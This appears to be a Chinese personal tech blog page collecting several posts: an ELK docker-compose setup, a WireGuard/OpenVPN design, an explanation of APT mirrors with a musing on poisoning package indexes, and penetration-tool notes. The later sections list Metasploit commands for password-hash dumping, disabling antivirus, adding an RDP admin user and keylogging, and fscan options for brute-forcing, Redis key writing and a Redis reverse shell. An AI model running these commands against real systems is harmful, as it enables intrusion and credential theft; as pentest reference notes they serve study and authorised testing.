快速搭建ELK毫秒级响应数据库

关于ELK以及其优势

简单GPT一下

ELK 是 Elasticsearch、Logstash 和 Kibana 三个开源项目的首字母缩写,通常一起使用构成一个强大的日志管理和分析解决方案。下面将介绍它们各自的功能和ELK的优势:
– Elasticsearch:
是一个基于 Lucene 构建的高性能搜索引擎。
主要用于全文搜索和分析。
具有高伸缩性,可以水平扩展,并且能够快速处理大量数据。
– Logstash:
是一个强大的数据处理管道工具。
能够动态地收集、处理和转发日志和事件数据
支持多种输入、过滤、编解码和输出插件。
– Kibana:
是一个为 Elasticsearch 提供数据可视化的 Web 应用程序。
允许用户创建和分享图表、地图、表格等,以图形化展示 Elasticsearch 索引中的数据。
通常用于日志和时间序列分析、应用监控等。

ELK 相比于 MySQL 的优势主要在以下几点:
1. 文本搜索处理能力: Elasticsearch 提供全文搜索功能,对于复杂的文本查询和大数据集的文本处理有明显优势。
2. 数据处理及实时分析: Logstash 能够实时处理和分析数据,适用于日志管理和复杂事件处理,而 MySQL 更多用于结构化数据存储。
3. 数据可视化: Kibana 提供了丰富的数据可视化选择,能够以图表、地图等形式直接在 Web 界面上展示数据分析结果。
4. 扩展性与高可用性: 集群/分你手机友好
5. 大数据兼容性: 对日志和非结构化数据友好

省流:

  • 优点:全文检索、毫秒级响应
  • 缺点:约三倍原文大小的索引

安装

由于网上都是Docker/二进制文件分开部署,让我非常烦躁,怎么这么好的东西就不能一次搞完呢!
PS:这样不方便集群管理,不过本地跑还是很爽的🤣

ELK不支持使用latest部署,我们需要自己指定版本
在测试中8.x版本无法正常部署,建议使用7.x

version: '3'
services:
  elasticsearch:
    image: elasticsearch:7.17.19
    environment:
      - ES_JAVA_OPTS=-Xms512m -Xmx512m
      - discovery.type=single-node
      - cluster.name=es-docker-cluster
      - http.host=0.0.0.0
    volumes:
      - ./es-data:/usr/share/elasticsearch/data
      - ./es-plugins:/usr/share/elasticsearch/plugins
      - ./es-logs:/usr/share/elasticsearch/logs
    networks:
      - elk-net
    ports:
      - "9200:9200"
      - "9300:9300"
    privileged: true

  kibana:
    image: kibana:7.17.19
    environment:
      - ELASTICSEARCH_HOSTS=http://elasticsearch:9200
      - I18N_LOCALE=zh-CN
    networks: 
      - elk-net
    ports:
      - "5601:5601"
    depends_on:
      - elasticsearch

  logstash:
    image: logstash:7.17.19
    networks: 
      - elk-net
    ports:
      - "5044:5044"
      - "9600:9600"
    depends_on:
      - elasticsearch

networks:
  elk-net:
    driver: bridge

如果配置正常的话会自动连接配置,等一会访问 http://127.0.0.1:5601 就行

部分情况无法连接可以参考

docker log查看kibana的配置code(实际上并不需要,自动配置失败的话,只要访问那个端口就行)

http://0.0.0.0:5601/?code=xxxxxx

替换 http://0.0.0.0:5601 为 http://127.0.0.1:5601 访问Kibana的管理界面
在这个界面可能需要输入token,token可以docker log查看elasticsearch控制台
如果不行的话可以尝试

docker exec <DOKCER_ID> bin/elasticsearch-create-enrollment-token --scope kibana
# 返回如下
WARNING: Owner of file [/usr/share/elasticsearch/config/users] used to be [root], but now is [elasticsearch]
WARNING: Owner of file [/usr/share/elasticsearch/config/users_roles] used to be [root], but now is [elasticsearch]
<一串JWT密钥>

然后等配置了

完成

左边三道杠 -> Management(管理) -> 堆栈监测

可以看到ELK都正常工作

索引管理

左边三道杠 -> Management(管理) -> Stack Management

解析数据

logstash

TODO:等我nas配起来后去写这个,不然还没有地方存数据

【运维】Wireguard+OpenVPN解决跨地区VPN的连接稳定性问题

首先我们要搞清楚一个问题,Wireguard和OpenVPN的区别在哪里

  1. Wireguard基于UDP协议,继承于内核中,由于加密协议简单(但安全),开销较小,性能较高
  2. OpenVPN基于TCP或UDP协议,由SSL/TLS实现身份加密,没有Wireguard效率高,但是支持多种管理方式

在实际使用上,TCP和UDP也有较大区别

  1. TCP:可以提供更可靠的连接,因为它具有确认和重传机制,能够处理丢包和错误。适用于对数据完整性和可靠性要求较高的场景。
  • UDP:UDP可以提供更快的速度和较低的延迟,适用于实时应用程序和视频流等对延迟敏感的情况。UDP模式还可以避免TCP拥塞控制的限制,适用于高带宽环境

  • UDP在实际使用上可能会被QOS限速,但是在长距离、高延迟的VPN环境中还是可以发挥不错的效果,不容易出现TCP经常断连的情况。

    实现方案

    在某个实际应用场景中,我需要将在B地不同地区访问位于A地的局域网,A地与B地物理相隔较远并且网络条件较差,但是对业务实时性没有太多要求,并且A地存在NAT

    方案一

    全部走OpenVPN,对A-B两地互联的机器使用UDP协议,确保可以通讯
    B地对B地其他地区使用TCP协议,确保连接稳定性
    方案一可以参考
    Windows上使用OpenVPN实现于异地访问公司内网资源(Tunnel方式、公网服务器frp转发)

    方案二

    在A-B两地之间使用Wireguard
    在B地服务器是用OpenVPN供B地其他地区使用
    网络结构如下

    A地内网<--->A地服务器<- Wireguard-UDP ->B地服务器<- OpenVPN TCP/UCP ->B地其他地区用户
    

    两方案相比,方案一更加简单,但是没有方案二稳定,并且AB两地如果存在高带宽情况用OpenVPN可能会消耗大量资源,在技术难度上方案二要设置转发,需要对两个VPN进行分别配置
    最终选择方案二进行

    继续阅读【运维】Wireguard+OpenVPN解决跨地区VPN的连接稳定性问题

    APT源的工作原理

    引言

    最近在折腾自己学校的镜像源,看到差不多20T的硬盘都被塞满了,我是很好奇系统是如何管理这些文件的,于是顺便就研究下APT源的工作原理

    原理

    在Ubuntu/Debian等系统下,常见的应用安装方式为apt/apt-get
    前者可以说是后者的升级版,提供了更友好的命令行界面,包含了apt-get和apt-cache等常用功能,本质上都是基于dpkg的高级包管理工具。
    Ubuntu/Debian采用集中式的软件仓库机制,将各式各样的软件包分门别类地存放在软件仓库中,进行有效地组织和管理。由于网络环境的问题,我们可能无法正常访问官方的软件仓库,所以许多镜像服务器被建立,并且时刻保持与官方服务器的同步。在使用apt之前,我们一般都会进行换源处理【脚本】Linux换源汇总
    换源主要是修改位于/etc/apt/source.list的源文件,这个文件记录了可获取软件包的镜像站的站点地址。
    我们将在其中加入自己的镜像源地址,下列是一个案例

    deb http://mirrors.szu.moe/ubuntu jammy main restricted
    # deb-src http://mirrors.szu.moe/ubuntu jammy main restricted
    deb http://mirrors.szu.moe/ubuntu jammy-updates main restricted
    # deb-src http://mirrors.szu.moe/ubuntu jammy-updates main restricted
    deb http://mirrors.szu.moe/ubuntu jammy universe
    # deb-src http://mirrors.szu.moe/ubuntu jammy universe
    deb http://mirrors.szu.moe/ubuntu jammy-updates universe
    # deb-src http://mirrors.szu.moe/ubuntu jammy-updates universe
    deb http://mirrors.szu.moe/ubuntu jammy multiverse
    # deb-src http://mirrors.szu.moe/ubuntu jammy multiverse
    deb http://mirrors.szu.moe/ubuntu jammy-updates multiverse
    # deb-src http://mirrors.szu.moe/ubuntu jammy-updates multiverse
    deb http://mirrors.szu.moe/ubuntu jammy-backports main restricted universe multiverse
    # deb-src http://mirrors.szu.moe/ubuntu jammy-backports main restricted universe multiverse
    deb http://mirrors.szu.moe/ubuntu jammy-security main restricted
    # deb-src http://mirrors.szu.moe/ubuntu jammy-security main restricted
    deb http://mirrors.szu.moe/ubuntu jammy-security universe
    # deb-src http://mirrors.szu.moe/ubuntu jammy-security universe
    deb http://mirrors.szu.moe/ubuntu jammy-security multiverse
    

    镜像源地址遵循以下格式

    DebType AddressType://Hostaddress/ubuntu Distribution Component1 Component2.....
    

    其中各字段含义如下所示。
    1. DebType表示Deb软件包类型,使用deb表示二进制软件包,使用deb-src表示源码包;
    对于大部分用户来说,二进制软件包即可完成安装,二进制软件包会被安装在系统的默认目录下(usr/share和usr/bin)。而源码包需要自己编译安装,但可以自己指定安装位置。
    源码可以通过apt-get source PackageName获得,以下是源码安装的一个例子(g2o)

    cd g2o
    mkdir build && cd build
    cmake ..
    make -j8 -DCMAKE_INSTALL_PREFIX=/usr/local/g2o/
    sudo make install
    
    1. AddressType表示访问地址类型,常用类型有:http、https、ftp、file、cdrom、ssh等;
      目前一般镜像源支持前两个,ftp少部分支持。
    2. Distribution表示Ubuntu的各个发行版本,例如dapper、feisty;
      本样例中jammy代表Ubuntu 22.04 LTS版本的代号
      其中-security(安全相关)、-proposed(测试版)、-updates(更新相关)、-backports(向后移植/兼容)
    3. Component表示软件包组件类别,是由技术支持程度不同而划分的类别,可选择main、restricted、universe和multiverse中的一种或多种。
      main:完全的自由软件。
      restricted:不完全的自由软件。
      universe:ubuntu官方不提供支持与补丁,全靠社区支持。
      muitiverse:非自由软件,完全不提供支持和补丁。

    软件源配置文件只是告知系统可以访问的镜像站点地址,但那些镜像站点具体都拥有什么软件资源并不清楚。若每安装一个软件包,就在服务器上寻找一遍,效率是很低的。因而镜像源提供了索引文件,以便本地主机查询apt update即更新索引文件

    root@aurora-rsync:/home/aurora# apt update
    Get:1 http://mirrors.szu.moe/ubuntu jammy InRelease [270 kB]
    Hit:2 http://mirrors.szu.moe/ubuntu jammy-updates InRelease
    Hit:3 http://mirrors.szu.moe/ubuntu jammy-backports InRelease
    Hit:4 http://mirrors.szu.moe/ubuntu jammy-security InRelease
    Fetched 270 kB in 1s (372 kB/s)
    Reading package lists... Done
    Building dependency tree... Done
    Reading state information... Done
    root@aurora-rsync:/home/aurora# cat /var/log/nginx/access.log
    192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy/InRelease HTTP/1.1" 200 270087 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"
    192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy-updates/InRelease HTTP/1.1" 304 0 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"
    192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy-backports/InRelease HTTP/1.1" 304 0 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"
    192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy-security/InRelease HTTP/1.1" 304 0 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"
    

    对于update,会根据源的相关设置访问/ubuntu/dists/(设置的Distribution)/InRelease的文件,这个也是一个索引,记录了有哪些相应平台的包存储在服务器上

     b96c0cfe911414e1b7f2df5c88844369          1192665 main/binary-amd64/Packages.gz
     84a735928def889314d9d28d0819425c          1068823 main/binary-arm64/Packages.gz
     6a1ab8e4d5aa235c81e2e036e01e9926           775999 main/binary-armhf/Packages.gz
     8d8471fdecfb661f6580df6096a53c6a           570121 main/binary-i386/Packages.gz
     3a43d2dda28cf2e7e1d885484a1ce249           732797 main/binary-ppc64el/Packages.gz
     8ac0edaecf66d4bd0631294a7908154b           690004 main/binary-riscv64/Packages.gz
     fb78c7c1b05b2dba72b8ec6d99bb6462           717683 main/binary-s390x/Packages.gz
    

    系统会根据自己的平台下载相应的包索引,本平台为amd64,所以访问main/binary-amd64/Packages.gz下载
    下列出的是其中的一部分,索引中包含如下信息
    包名,优先级,类型,维护者,架构,源文件(source),版本号,依赖包,冲突性信息,包大小,文件的下载路径,MD5sum,SHA1,包描述,Xul-Appid—应用程序id,Bugs信息,Origin,Supported

    ......
    Package: accountsservice
    Architecture: amd64
    Version: 22.07.5-2ubuntu1.3
    Priority: optional
    Section: gnome
    Origin: Ubuntu
    Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com>
    Original-Maintainer: Debian freedesktop.org maintainers <pkg-freedesktop-maintainers@lists.alioth.debian.org>
    Bugs: https://bugs.launchpad.net/ubuntu/+filebug
    Installed-Size: 500
    Depends: dbus (>= 1.9.18), libaccountsservice0 (= 22.07.5-2ubuntu1.3), libc6 (>= 2.34), libglib2.0-0 (>= 2.63.5), libpolkit-gobject-1-0 (>= 0.99)
    Recommends: default-logind | logind
    Suggests: gnome-control-center
    Filename: pool/main/a/accountsservice/accountsservice_22.07.5-2ubuntu1.3_amd64.deb
    Size: 69728
    MD5sum: a2acf0a225e2c30ccb985a66a4dfb848
    SHA1: 1c2b73bc5c72bc44cade5ef6fa444dbea1ea69ec
    SHA256: f8ed006eb680e9d8a9b55af88b3786f6892d6d2764586ec4853cf954da119596
    SHA512: 9496d225169db5524f7bf9c0fb1cbdfac3ab6261b4725ed56c282d5865678881c8841c539a5b87182306ed66dcc9225a15986083dc72cf7433a30bf601507cc7
    Homepage: https://www.freedesktop.org/wiki/Software/AccountsService/
    Description: query and manipulate user account information
    Task: ubuntu-desktop-minimal, ubuntu-desktop, ubuntu-desktop-raspi, kubuntu-desktop, xubuntu-core, xubuntu-desktop, lubuntu-desktop, ubuntustudio-desktop-core, ubuntustudio-desktop, ubuntukylin-desktop, ubuntu-mate-core, ubuntu-mate-desktop, ubuntu-budgie-desktop, ubuntu-budgie-desktop-raspi
    Description-md5: 8aeed0a03c7cd494f0c4b8d977483d7e
    ......
    

    然后apt再将Packages.gz里面的信息以某种数据结构形式导入本地数据库以便快速查找,即完成了
    “`apt update“`的一系列操作
    其后的`apt install`会借助上述Depends信息自动安装相关依赖,而源码安装则需要自己配置依赖了,所以现在十分不推荐使用

    题外话

    二进制安装好像是最近(2016年)才开始流行的,可能是因为计算和存储能力有了阶段性提升。Python也采用的是二进制安装与编译安装相结合的方式,二进制安装会从源上下载一个whl后缀的文件,whl格式本质上是一个压缩包,里面包含了py文件,以及经过编译的pyd文件。使得可以在不具备编译环境的情况下,选择合适自己的python环境进行安装。
    二进制安装更加简单和快速,不需要用户花费时间和精力去编译源代码,处理编译过程中出现的错误和问题,考虑不同的编译器和命令,也不需要用户管理不同的依赖库。与之相对应的会占用服务器资源(编译源代码),以及存储不同平台的二进制文件。

    奇思妙想?

    根据上述结论,我们可以通过修改APT源中的Packages.gz文件,在其中添加/修改某些包地址,使其变成恶意文件,如果没有相关签名/校验环节,理论上我们可以完成一次供应链攻击。
    所以一般来说要使用足够信任的源,具体实现有待测试。
    Todo:APT源实现供应链攻击

    【渗透工具】DNSLOG搭建

    Dnslog相信渗透的都不陌生,但我只是在Apache Log4j后才意识到这东西是有多好用
    但是有些时候,知名的dnslog.cn网站就会崩溃。
    既然这样,干脆就自己搭一个,但是过程十分艰辛。
    由于我设置了@*解析,我就不需要再对ns1.xxx.cn/ns2.xxx.cn进行解析
    具体如下


    然后我们就接着物色dnslog平台
    一个非常古老的BugScanTeam的DNSLOG
    于是乎,调了好久,6年前的代码,还要改cdn,还要改ssl(开发组历史遗留问题)
    最后改完了,发现一直301,查看issue才发现要修改

    SECURE_SSL_REDIRECT = False

    然而,无论怎么修改数据库,还是进不去他的管理界面!
    之后只好另谋出路,最后找到这个
    编译好的GO语言的DNSLOG
    再配上万能的堡塔和Nginx反代

    在经历了2h的磨难后

    对了最后记得开放UDP53端口(DNS服务)
    开始休息了~

    【渗透工具】MSFCONSOLE控制台使用和操作

    Metasploit一款开源安全漏洞检测工具,其不断更新的Payload使其成为了最强大的渗透框架之一
    对于MSFCONSOLE(简称MSF),就不多赘述安装部署了,对于日常渗透使用一般可以再Viper中使用。
    常见参数解读:

    -p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
    -l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
    -n, –nopsled < length> 为payload预先指定一个NOP滑动长度
    -f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
    -e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
    -a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
    –platform < platform> 指定payload的目标平台
    -s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
    -b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';
    -i, –iterations < count> 指定payload的编码次数
    -c, –add-code < path> 指定一个附加的win32 shellcode文件
    -x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
    -k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
    –payload-options 列举payload的标准选项
    -o, –out < path> 指定创建好的payload的存放位置
    -v, –var-name < name> 指定一个自定义的变量,以确定输出格式
    –shellest 最小化生成payload
    -h, –help 查看帮助选项
    –help-formats 查看msf支持的输出格式列表

    查看所有payloads

    --list payloads

    使用msfvenom --list encoders可查看所有编码器
    还有一些小应用

    run hashdump #获取windows密码hash
    #关闭杀软
    run killav
    run post/windows/manage/killav
    #操控远程桌面
    run post/windows/manage/enable_rdp
    run post/windows/manage/enable_rdp username=test password=test添加远程桌面的用户(同时也会将该用户添加到管理员组)
    #键盘捕捉(Viper有功能)
    keyscan_start:开启键盘记录功能
    keyscan_dump:显示捕捉到的键盘记录信息
    keyscan_stop:停止键盘记录功能

    【渗透工具】Fscan

    Github仓库
    Fscan是一款内网综合扫描工具,以下为常用命令

    fscan -h 0.0.0.0/8 (全网段扫描)
    fscan -h 192.168.1.1/24  (默认使用全部模块)
    fscan -h 192.168.1.1/16  (B段扫描)
    其他用法
    fscan -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
    fscan -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
    fscan -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
    fscan -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
    fscan -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
    fscan -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
    fscan -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) 
    fscan -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
    fscan -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
    fscan -h 192.168.1.1/24 -m ms17010 (指定模块)
    fscan -hf ip.txt  (以文件导入)
    fscan -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)

    具体什么时候使用呢!什么时候都可以!尤其是目标机器连python都跑不起来的时候还怎么渗透内网~

      -c string
            ssh命令执行
      -cookie string
            设置cookie
      -debug int
            多久没响应,就打印当前进度(default 60)
      -domain string
            smb爆破模块时,设置域名
      -h string
            目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
      -hf string
            读取文件中的目标
      -hn string
            扫描时,要跳过的ip: -hn 192.168.1.1/24
      -m string
            设置扫描模式: -m ssh (default "all")
      -no
            扫描结果不保存到文件中
      -nobr
            跳过sql、ftp、ssh等的密码爆破
      -nopoc
            跳过web poc扫描
      -np
            跳过存活探测
      -num int
            web poc 发包速率  (default 20)
      -o string
            扫描结果保存到哪 (default "result.txt")
      -p string
            设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
      -pa string
            新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
      -path string
            fcgi、smb romote file path
      -ping
            使用ping代替icmp进行存活探测
      -pn string
            扫描时要跳过的端口,as: -pn 445
      -pocname string
            指定web poc的模糊名字, -pocname weblogic
      -proxy string
            设置代理, -proxy http://127.0.0.1:8080
      -user string
            指定爆破时的用户名
      -userf string
            指定爆破时的用户名文件
      -pwd string
            指定爆破时的密码
      -pwdf string
            指定爆破时的密码文件
      -rf string
            指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
      -rs string
            redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
      -silent
            静默扫描,适合cs扫描时不回显
      -sshkey string
            ssh连接时,指定ssh私钥
      -t int
            扫描线程 (default 600)
      -time int
            端口扫描超时时间 (default 3)
      -u string
            指定Url扫描
      -uf string
            指定Url文件扫描
      -wt int
            web访问超时时间 (default 5)